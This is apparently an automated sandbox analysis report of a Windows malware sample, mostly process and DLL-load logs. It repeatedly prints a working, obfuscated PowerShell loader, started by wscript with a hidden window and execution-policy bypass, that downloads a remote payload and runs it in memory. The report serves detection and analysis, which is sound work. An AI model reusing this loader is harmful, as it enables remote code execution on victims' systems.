'JiAoICRzaEVsbElkWzFdKyRTSEVsTGlEWzEzXSsneCcpICggKCd4UGl1cmwnKycgPScrJyBzJysna3JodHRwJysnczovLycrJ2lhNjAwMTAwJysnLnVzLicrJ2FyY2hpdicrJ2Uub3JnJysnLzI0L2l0JysnZScrJ21zL2RldGFoLScrJ25vdGUtJysndi9EZScrJ3RhaE5vdGVWJysnLnR4dHNrJysncjt4UGknKydiYScrJ3NlJysnNjRDbycrJ24nKyd0ZScrJ250ID0gKCcrJ05ldy1PYmplJysnY3QgUycrJ3lzdGVtLicrJ05ldC5XZWJDJysnbGknKydlbnQpLicrJ0Rvd25sJysnb2FkU3RyaW4nKydnKHhQaXVybCk7JysneFAnKydpJysnYmluYXJ5JysnQ29udGUnKydudCA9IFtTeXN0JysnZW0uQ29udmVydF06OkZyb21CJysnYScrJ3NlNjRTJysndHJpbicrJ2coeFBpJysnYmFzZTY0Q29udGUnKyduJysndCk7eFBpYXMnKydzZW1ibHkgPScrJyBbUmVmbGVjJysndCcrJ2knKydvbi5Bc3NlbWJseScrJ106JysnOkwnKydvYWQoJysneFBpYmluJysnYXInKyd5Q29udGVudCk7eFAnKydpdHknKydwZSA9IHgnKydQaWFzJysnc2VtJysnYicrJ2x5LkdlJysndFR5cCcrJ2Uoc2tyJysnUnUnKyduUCcrJ0UuSG9tZXNrcicrJyk7eFBpJysnbWUnKyd0aG9kID0geFBpdHknKydwZS5HZXRNZXQnKydobycrJ2QoJysnc2tyVkFJc2tyJysnKTt4UCcrJ2knKydtZXRob2QnKycuSW52Jysnb2tlKHhQaW51bGwnKycsJysnIFsnKydvYmplJysnY3RbXV1AJysnKHNrcnR4dC5LS1JPTksnKycvYmsvcHBtYXgnKycvODQyLjcnKycyJysnMi41NTIuNDMxLy86cCcrJ3R0aHNrciAsJysnICcrJ3MnKydrcmRlc2F0aXZhZG8nKydza3IgLCAnKydza3JkJysnZXNhdGl2JysnYWQnKydvcycrJ2snKydyICcrJywgc2tyZCcrJ2UnKydzYXRpdmFkb3Nrcixza3JSZScrJ2dBcycrJ21zaycrJ3Isc2tyc2tyKSknKS5SRVBsQWNFKCd4UGknLCckJykuUkVQbEFjRSgoW2NIQXJdMTE1K1tjSEFyXTEwNytbY0hBcl0xMTQpLFtTVHJpTkddW2NIQXJdMzkpKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "& ( $shEllId[1]+$SHElLiD[13]+'x') ( ('xPiurl'+' ='+' s'+'krhttp'+'s://'+'ia600100'+'.us.'+'archiv'+'e.org'+'/24/it'+'e'+'ms/detah-'+'note-'+'v/De'+'tahNoteV'+'.txtsk'+'r;xPi'+'ba'+'se'+'64Co'+'n'+'te'+'nt = ('+'New-Obje'+'ct S'+'ystem.'+'Net.WebC'+'li'+'ent).'+'Downl'+'oadStrin'+'g(xPiurl);'+'xP'+'i'+'binary'+'Conte'+'nt = [Syst'+'em.Convert]::FromB'+'a'+'se64S'+'trin'+'g(xPi'+'base64Conte'+'n'+'t);xPias'+'sembly ='+' [Reflec'+'t'+'i'+'on.Assembly'+']:'+':L'+'oad('+'xPibin'+'ar'+'yContent);xP'+'ity'+'pe = x'+'Pias'+'sem'+'b'+'ly.Ge'+'tTyp'+'e(skr'+'Ru'+'nP'+'E.Homeskr'+');xPi'+'me'+'thod = xPity'+'pe.GetMet'+'ho'+'d('+'skrVAIskr'+');xP'+'i'+'method'+'.Inv'+'oke(xPinull'+','+' ['+'obje'+'ct[]]@'+'(skrtxt.KKRONK'+'/bk/ppmax'+'/842.7'+'2'+'2.552.431//:p'+'tthskr ,'+' '+'s'+'krdesativado'+'skr , '+'skrd'+'esativ'+'ad'+'os'+'k'+'r '+', skrd'+'e'+'sativadoskr,skrRe'+'gAs'+'msk'+'r,skrskr))').REPlAcE('xPi','$').REPlAcE(([cHAr]115+[cHAr]107+[cHAr]114),[STriNG][cHAr]39))"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: ystem.Core.pdb source: powershell.exe, 00000003.00000002.2204804190.000001B044190000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ion.pdbg Adapter source: powershell.exe, 00000003.00000002.2204804190.000001B0441D2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdbN\|2h\|2 Z\|2_CorDllMainmscoree.dll source: powershell.exe, 00000003.00000002.2203441821.000001B043F60000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: t.Automation.pdb source: powershell.exe, 00000003.00000002.2204804190.000001B044190000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: *.pdb source: powershell.exe, 00000003.00000002.2204804190.000001B0441D2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: powershell.exe, 00000003.00000002.2203441821.000001B043F60000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdbs\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\Servererver32 source: powershell.exe, 00000003.00000002.2203441821.000001B043FEC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdb" source: powershell.exe, 00000003.00000002.2203441821.000001B043FEC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Data.Linq.pdb source: powershell.exe, 00000003.00000002.2187547991.000001B03CF78000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2205660588.000001B044580000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbBH' source: powershell.exe, 00000003.00000002.2204804190.000001B0441D2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdb source: powershell.exe, 00000003.00000002.2203441821.000001B043F60000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

VBScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: .Run("powershell -command $Codigo = 'JiAoICRzaEVsbElkWzFdKyRTSEVsTGlEWzEzXSsneCc", "0", "false");

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: $Codigo = 'JiAoICRzaEVsbElkWzFdKyRTSEVsTGlEWzEzXSsneCcpICggKCd4UGl1cmwnKycgPScrJyBzJysna3JodHRwJysnczovLycrJ2lhNjAwMTAwJysnLnVzLicrJ2FyY2hpdicrJ2Uub3JnJysnLzI0L2l0JysnZScrJ21zL2RldGFoLScrJ25vdGUtJysndi9EZScrJ3RhaE5vdGVWJysnLnR4dHNrJysncjt4UGknKydiYScrJ3NlJysnNjRDbycrJ24nKyd0ZScrJ250ID0gKCcrJ05ldy1PYmplJysnY3QgUycrJ3lzdGVtLicrJ05ldC5XZWJDJysnbGknKydlbnQpLicrJ0Rvd25sJysnb2FkU3RyaW4nKydnKHhQaXVybCk7JysneFAnKydpJysnYmluYXJ5JysnQ29udGUnKydudCA9IFtTeXN0JysnZW0uQ29udmVydF06OkZyb21CJysnYScrJ3NlNjRTJysndHJpbicrJ2coeFBpJysnYmFzZTY0Q29udGUnKyduJysndCk7eFBpYXMnKydzZW1ibHkgPScrJyBbUmVmbGVjJysndCcrJ2knKydvbi5Bc3NlbWJseScrJ106JysnOkwnKydvYWQoJysneFBpYmluJysnYXInKyd5Q29udGVudCk7eFAnKydpdHknKydwZSA9IHgnKydQaWFzJysnc2VtJysnYicrJ2x5LkdlJysndFR5cCcrJ2Uoc2tyJysnUnUnKyduUCcrJ0UuSG9tZXNrcicrJyk7eFBpJysnbWUnKyd0aG9kID0geFBpdHknKydwZS5HZXRNZXQnKydobycrJ2QoJysnc2tyVkFJc2tyJysnKTt4UCcrJ2knKydtZXRob2QnKycuSW52Jysnb2tlKHhQaW51bGwnKycsJysnIFsnKydvYmplJysnY3RbXV1AJysnKHNrcnR4dC5LS1JPTksnKycvYmsvcHBtYXgnKycvODQyLjcnKycyJysnMi41NTIuNDMxLy86cCcrJ3R0aHNrciAsJysnICcrJ3MnKydrcmRlc2F0aXZhZG8nKydza3IgLCAnKydza3JkJysnZXNhdGl2JysnYWQnKydvcycrJ2snKydyICcrJywgc2tyZCcrJ2UnKydzYXRpdmFkb3Nrcixza3JSZScrJ2dBcycrJ21zaycrJ3Isc2tyc2tyKSknKS5SRVBsQWNFKCd4UGknLCckJykuUkVQbEFjRSgoW2NIQXJdMTE1K1tjSEFyXTEwNytbY0hBcl0xMTQpLFtTVHJpTkddW2NIQXJdMzkpKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD$global:?

Obfuscated command line found

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "& ( $shEllId[1]+$SHElLiD[13]+'x') ( ('xPiurl'+' ='+' s'+'krhttp'+'s://'+'ia600100'+'.us.'+'archiv'+'e.org'+'/24/it'+'e'+'ms/detah-'+'note-'+'v/De'+'tahNoteV'+'.txtsk'+'r;xPi'+'ba'+'se'+'64Co'+'n'+'te'+'nt = ('+'New-Obje'+'ct S'+'ystem.'+'Net.WebC'+'li'+'ent).'+'Downl'+'oadStrin'+'g(xPiurl);'+'xP'+'i'+'binary'+'Conte'+'nt = [Syst'+'em.Convert]::FromB'+'a'+'se64S'+'trin'+'g(xPi'+'base64Conte'+'n'+'t);xPias'+'sembly ='+' [Reflec'+'t'+'i'+'on.Assembly'+']:'+':L'+'oad('+'xPibin'+'ar'+'yContent);xP'+'ity'+'pe = x'+'Pias'+'sem'+'b'+'ly.Ge'+'tTyp'+'e(skr'+'Ru'+'nP'+'E.Homeskr'+');xPi'+'me'+'thod = xPity'+'pe.GetMet'+'ho'+'d('+'skrVAIskr'+');xP'+'i'+'method'+'.Inv'+'oke(xPinull'+','+' ['+'obje'+'ct[]]@'+'(skrtxt.KKRONK'+'/bk/ppmax'+'/842.7'+'2'+'2.552.431//:p'+'tthskr ,'+' '+'s'+'krdesativado'+'skr , '+'skrd'+'esativ'+'ad'+'os'+'k'+'r '+', skrd'+'e'+'sativadoskr,skrRe'+'gAs'+'msk'+'r,skrskr))').REPlAcE('xPi','$').REPlAcE(([cHAr]115+[cHAr]107+[cHAr]114),[STriNG][cHAr]39))"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "& ( $shEllId[1]+$SHElLiD[13]+'x') ( ('xPiurl'+' ='+' s'+'krhttp'+'s://'+'ia600100'+'.us.'+'archiv'+'e.org'+'/24/it'+'e'+'ms/detah-'+'note-'+'v/De'+'tahNoteV'+'.txtsk'+'r;xPi'+'ba'+'se'+'64Co'+'n'+'te'+'nt = ('+'New-Obje'+'ct S'+'ystem.'+'Net.WebC'+'li'+'ent).'+'Downl'+'oadStrin'+'g(xPiurl);'+'xP'+'i'+'binary'+'Conte'+'nt = [Syst'+'em.Convert]::FromB'+'a'+'se64S'+'trin'+'g(xPi'+'base64Conte'+'n'+'t);xPias'+'sembly ='+' [Reflec'+'t'+'i'+'on.Assembly'+']:'+':L'+'oad('+'xPibin'+'ar'+'yContent);xP'+'ity'+'pe = x'+'Pias'+'sem'+'b'+'ly.Ge'+'tTyp'+'e(skr'+'Ru'+'nP'+'E.Homeskr'+');xPi'+'me'+'thod = xPity'+'pe.GetMet'+'ho'+'d('+'skrVAIskr'+');xP'+'i'+'method'+'.Inv'+'oke(xPinull'+','+' ['+'obje'+'ct[]]@'+'(skrtxt.KKRONK'+'/bk/ppmax'+'/842.7'+'2'+'2.552.431//:p'+'tthskr ,'+' '+'s'+'krdesativado'+'skr , '+'skrd'+'esativ'+'ad'+'os'+'k'+'r '+', skrd'+'e'+'sativadoskr,skrRe'+'gAs'+'msk'+'r,skrskr))').REPlAcE('xPi','$').REPlAcE(([cHAr]115+[cHAr]107+[cHAr]114),[STriNG][cHAr]39))"			Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiAoICRzaEVsbElkWzFdKyRTSEVsTGlEWzEzXSsneCcpICggKCd4UGl1cmwnKycgPScrJyBzJysna3JodHRwJysnczovLycrJ2lhNjAwMTAwJysnLnVzLicrJ2FyY2hpdicrJ2Uub3JnJysnLzI0L2l0JysnZScrJ21zL2RldGFoLScrJ25vdGUtJysndi9EZScrJ3RhaE5vdGVWJysnLnR4dHNrJysncjt4UGknKydiYScrJ3NlJysnNjRDbycrJ24nKyd0ZScrJ250ID0gKCcrJ05ldy1PYmplJysnY3QgUycrJ3lzdGVtLicrJ05ldC5XZWJDJysnbGknKydlbnQpLicrJ0Rvd25sJysnb2FkU3RyaW4nKydnKHhQaXVybCk7JysneFAnKydpJysnYmluYXJ5JysnQ29udGUnKydudCA9IFtTeXN0JysnZW0uQ29udmVydF06OkZyb21CJysnYScrJ3NlNjRTJysndHJpbicrJ2coeFBpJysnYmFzZTY0Q29udGUnKyduJysndCk7eFBpYXMnKydzZW1ibHkgPScrJyBbUmVmbGVjJysndCcrJ2knKydvbi5Bc3NlbWJseScrJ106JysnOkwnKydvYWQoJysneFBpYmluJysnYXInKyd5Q29udGVudCk7eFAnKydpdHknKydwZSA9IHgnKydQaWFzJysnc2VtJysnYicrJ2x5LkdlJysndFR5cCcrJ2Uoc2tyJysnUnUnKyduUCcrJ0UuSG9tZXNrcicrJyk7eFBpJysnbWUnKyd0aG9kID0geFBpdHknKydwZS5HZXRNZXQnKydobycrJ2QoJysnc2tyVkFJc2tyJysnKTt4UCcrJ2knKydtZXRob2QnKycuSW52Jysnb2tlKHhQaW51bGwnKycsJysnIFsnKydvYmplJysnY3RbXV1AJysnKHNrcnR4dC5LS1JPTksnKycvYmsvcHBtYXgnKycvODQyLjcnKycyJysnMi41NTIuNDMxLy86cCcrJ3R0aHNrciAsJysnICcrJ3MnKydrcmRlc2F0aXZhZG8nKydza3IgLCAnKydza3JkJysnZXNhdGl2JysnYWQnKydvcycrJ2snKydyICcrJywgc2tyZCcrJ2UnKydzYXRpdmFkb3Nrcixza3JSZScrJ2dBcycrJ21zaycrJ3Isc2tyc2tyKSknKS5SRVBsQWNFKCd4UGknLCckJykuUkVQbEFjRSgoW2NIQXJdMTE1K1tjSEFyXTEwNytbY0hBcl0xMTQpLFtTVHJpTkddW2NIQXJdMzkpKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "& ( $shEllId[1]+$SHElLiD[13]+'x') ( ('xPiurl'+' ='+' s'+'krhttp'+'s://'+'ia600100'+'.us.'+'archiv'+'e.org'+'/24/it'+'e'+'ms/detah-'+'note-'+'v/De'+'tahNoteV'+'.txtsk'+'r;xPi'+'ba'+'se'+'64Co'+'n'+'te'+'nt = ('+'New-Obje'+'ct S'+'ystem.'+'Net.WebC'+'li'+'ent).'+'Downl'+'oadStrin'+'g(xPiurl);'+'xP'+'i'+'binary'+'Conte'+'nt = [Syst'+'em.Convert]::FromB'+'a'+'se64S'+'trin'+'g(xPi'+'base64Conte'+'n'+'t);xPias'+'sembly ='+' [Reflec'+'t'+'i'+'on.Assembly'+']:'+':L'+'oad('+'xPibin'+'ar'+'yContent);xP'+'ity'+'pe = x'+'Pias'+'sem'+'b'+'ly.Ge'+'tTyp'+'e(skr'+'Ru'+'nP'+'E.Homeskr'+');xPi'+'me'+'thod = xPity'+'pe.GetMet'+'ho'+'d('+'skrVAIskr'+');xP'+'i'+'method'+'.Inv'+'oke(xPinull'+','+' ['+'obje'+'ct[]]@'+'(skrtxt.KKRONK'+'/bk/ppmax'+'/842.7'+'2'+'2.552.431//:p'+'tthskr ,'+' '+'s'+'krdesativado'+'skr , '+'skrd'+'esativ'+'ad'+'os'+'k'+'r '+', skrd'+'e'+'sativadoskr,skrRe'+'gAs'+'msk'+'r,skrskr))').REPlAcE('xPi','$').REPlAcE(([cHAr]115+[cHAr]107+[cHAr]114),[STriNG][cHAr]39))"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 